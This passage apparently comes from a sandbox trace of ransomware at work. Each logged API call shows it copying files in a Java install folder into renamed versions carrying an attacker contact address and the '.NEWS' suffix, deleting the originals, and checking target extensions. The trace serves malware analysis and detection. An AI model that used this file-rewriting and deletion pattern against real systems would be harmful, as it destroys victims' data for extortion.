lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.445] WriteFile (in: hFile=0x35c, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xee, lpOverlapped=0x0) returned 1 [0090.445] SetEndOfFile (hFile=0x35c) returned 1 [0090.445] CloseHandle (hObject=0x35c) returned 1 [0090.445] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.445] SetEndOfFile (hFile=0x36c) returned 1 [0090.446] CloseHandle (hObject=0x36c) returned 1 [0090.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.446] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1 [0090.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.447] lstrlenW (lpString=".doc") returned 4 [0090.447] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0090.447] lstrlenW (lpString=".docx") returned 5 [0090.447] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0090.447] lstrlenW (lpString=".pdf") returned 4 [0090.447] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0090.447] lstrlenW (lpString=".xls") returned 4 [0090.447] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0090.447] lstrlenW (lpString=".xlsx") returned 5 [0090.447] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0090.447] lstrlenW (lpString=".ppt") returned 4 [0090.447] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0090.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.447] lstrlenW (lpString=".zip") returned 4 [0090.447] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0090.447] lstrlenW (lpString=".rar") returned 4 [0090.447] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0090.447] lstrlenW (lpString=".bz2") returned 4 [0090.447] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0090.447] lstrlenW (lpString=".7z") returned 3 [0090.447] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0090.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.447] lstrlenW (lpString=".dbf") returned 4 [0090.447] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0090.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.447] lstrlenW (lpString=".1cd") returned 4 [0090.447] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0090.447] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.447] lstrlenW (lpString=".jpg") returned 4 [0090.447] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0090.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.448] lstrlenW (lpString=".doc") returned 4 [0090.448] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0090.448] lstrlenW (lpString=".docx") returned 5 [0090.448] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1 [0090.448] lstrlenW (lpString=".pdf") returned 4 [0090.448] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0090.448] lstrlenW (lpString=".xls") returned 4 [0090.448] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0090.448] lstrlenW (lpString=".xlsx") returned 5 [0090.448] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1 [0090.448] lstrlenW (lpString=".ppt") returned 4 [0090.448] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0090.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.448] lstrlenW (lpString=".zip") returned 4 [0090.448] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0090.448] lstrlenW (lpString=".rar") returned 4 [0090.448] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0090.448] lstrlenW (lpString=".bz2") returned 4 [0090.448] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0090.448] lstrlenW (lpString=".7z") returned 3 [0090.448] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0090.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.448] lstrlenW (lpString=".dbf") returned 4 [0090.448] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0090.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.448] lstrlenW (lpString=".1cd") returned 4 [0090.448] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0090.448] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52 [0090.448] lstrlenW (lpString=".jpg") returned 4 [0090.448] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0090.448] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0090.449] lstrlenW (lpString="java-rmi.exe") returned 12 [0090.449] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.902] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=15936) returned 1 [0090.902] CloseHandle (hObject=0x378) returned 1 [0090.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0090.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.903] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.903] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.903] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.903] GetLastError () returned 0x0 [0090.903] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x3e40, lpOverlapped=0x0) returned 1 [0090.905] WriteFile (in: hFile=0x398, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x3e50, lpOverlapped=0x0) returned 1 [0090.906] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.906] WriteFile (in: hFile=0x398, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1 [0090.906] SetEndOfFile (hFile=0x398) returned 1 [0090.906] CloseHandle (hObject=0x398) returned 1 [0090.906] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.906] SetEndOfFile (hFile=0x378) returned 1 [0090.907] CloseHandle (hObject=0x378) returned 1 [0090.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.907] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 1 [0090.907] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.908] lstrlenW (lpString=".doc") returned 4 [0090.908] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0090.908] lstrlenW (lpString=".docx") returned 5 [0090.908] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0090.908] lstrlenW (lpString=".pdf") returned 4 [0090.908] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0090.908] lstrlenW (lpString=".xls") returned 4 [0090.908] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0090.908] lstrlenW (lpString=".xlsx") returned 5 [0090.908] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0090.908] lstrlenW (lpString=".ppt") returned 4 [0090.908] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0090.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.908] lstrlenW (lpString=".zip") returned 4 [0090.908] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0090.908] lstrlenW (lpString=".rar") returned 4 [0090.908] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0090.908] lstrlenW (lpString=".bz2") returned 4 [0090.908] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0090.908] lstrlenW (lpString=".7z") returned 3 [0090.908] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0090.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.908] lstrlenW (lpString=".dbf") returned 4 [0090.908] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0090.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.908] lstrlenW (lpString=".1cd") returned 4 [0090.908] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0090.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.908] lstrlenW (lpString=".jpg") returned 4 [0090.908] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0090.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.908] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.908] lstrlenW (lpString=".doc") returned 4 [0090.908] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0090.908] lstrlenW (lpString=".docx") returned 5 [0090.909] lstrcmpiW (lpString1=".docx", lpString2="i.exe") returned -1 [0090.909] lstrlenW (lpString=".pdf") returned 4 [0090.909] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0090.909] lstrlenW (lpString=".xls") returned 4 [0090.909] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0090.909] lstrlenW (lpString=".xlsx") returned 5 [0090.909] lstrcmpiW (lpString1=".xlsx", lpString2="i.exe") returned -1 [0090.909] lstrlenW (lpString=".ppt") returned 4 [0090.909] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0090.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.909] lstrlenW (lpString=".zip") returned 4 [0090.909] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0090.909] lstrlenW (lpString=".rar") returned 4 [0090.909] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0090.909] lstrlenW (lpString=".bz2") returned 4 [0090.909] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0090.909] lstrlenW (lpString=".7z") returned 3 [0090.909] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0090.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.909] lstrlenW (lpString=".dbf") returned 4 [0090.909] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0090.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.909] lstrlenW (lpString=".1cd") returned 4 [0090.909] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0090.909] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 51 [0090.909] lstrlenW (lpString=".jpg") returned 4 [0090.909] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0090.909] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0090.909] lstrlenW (lpString="JavaAccessBridge-64.dll") returned 23 [0090.909] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.910] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=142400) returned 1 [0090.910] CloseHandle (hObject=0x378) returned 1 [0090.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0090.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.910] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.910] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.911] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.911] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.911] GetLastError () returned 0x0 [0090.911] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x22c40, lpOverlapped=0x0) returned 1 [0090.914] WriteFile (in: hFile=0x398, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x22c50, lpOverlapped=0x0) returned 1 [0090.917] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.917] WriteFile (in: hFile=0x398, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x102, lpOverlapped=0x0) returned 1 [0090.917] SetEndOfFile (hFile=0x398) returned 1 [0090.918] CloseHandle (hObject=0x398) returned 1 [0090.918] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.918] SetEndOfFile (hFile=0x378) returned 1 [0090.919] CloseHandle (hObject=0x378) returned 1 [0090.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.920] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1 [0090.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.920] lstrlenW (lpString=".doc") returned 4 [0090.920] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.920] lstrlenW (lpString=".docx") returned 5 [0090.920] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0090.920] lstrlenW (lpString=".pdf") returned 4 [0090.920] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.920] lstrlenW (lpString=".xls") returned 4 [0090.920] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.920] lstrlenW (lpString=".xlsx") returned 5 [0090.920] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0090.920] lstrlenW (lpString=".ppt") returned 4 [0090.920] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.920] lstrlenW (lpString=".zip") returned 4 [0090.920] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.920] lstrlenW (lpString=".rar") returned 4 [0090.920] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.920] lstrlenW (lpString=".bz2") returned 4 [0090.920] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.920] lstrlenW (lpString=".7z") returned 3 [0090.920] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.920] lstrlenW (lpString=".dbf") returned 4 [0090.920] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.920] lstrlenW (lpString=".1cd") returned 4 [0090.920] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.921] lstrlenW (lpString=".jpg") returned 4 [0090.921] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.921] lstrlenW (lpString=".doc") returned 4 [0090.921] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0090.921] lstrlenW (lpString=".docx") returned 5 [0090.921] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0090.921] lstrlenW (lpString=".pdf") returned 4 [0090.921] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0090.921] lstrlenW (lpString=".xls") returned 4 [0090.921] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0090.921] lstrlenW (lpString=".xlsx") returned 5 [0090.921] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0090.921] lstrlenW (lpString=".ppt") returned 4 [0090.921] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0090.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.921] lstrlenW (lpString=".zip") returned 4 [0090.921] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0090.921] lstrlenW (lpString=".rar") returned 4 [0090.921] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0090.921] lstrlenW (lpString=".bz2") returned 4 [0090.921] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0090.921] lstrlenW (lpString=".7z") returned 3 [0090.921] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0090.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.921] lstrlenW (lpString=".dbf") returned 4 [0090.921] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0090.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.921] lstrlenW (lpString=".1cd") returned 4 [0090.921] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0090.921] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0090.921] lstrlenW (lpString=".jpg") returned 4 [0090.921] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0090.922] lstrcmpiW (lpString1=".cpl", lpString2=".NEWS") returned -1 [0090.922] lstrlenW (lpString="javacpl.cpl") returned 11 [0090.922] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.922] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=187392) returned 1 [0090.922] CloseHandle (hObject=0x378) returned 1 [0090.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0090.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.922] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0090.922] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.922] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.922] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0090.923] GetLastError () returned 0x0 [0090.923] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x2dc00, lpOverlapped=0x0) returned 1 [0090.927] WriteFile (in: hFile=0x398, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x2dc10, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x2dc10, lpOverlapped=0x0) returned 1 [0090.930] ReadFile (in: hFile=0x378, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0090.930] WriteFile (in: hFile=0x398, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1 [0090.930] SetEndOfFile (hFile=0x398) returned 1 [0090.930] CloseHandle (hObject=0x398) returned 1 [0090.930] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0090.930] SetEndOfFile (hFile=0x378) returned 1 [0090.932] CloseHandle (hObject=0x378) returned 1 [0090.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0090.932] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 1 [0090.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 50 [0090.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl") returned 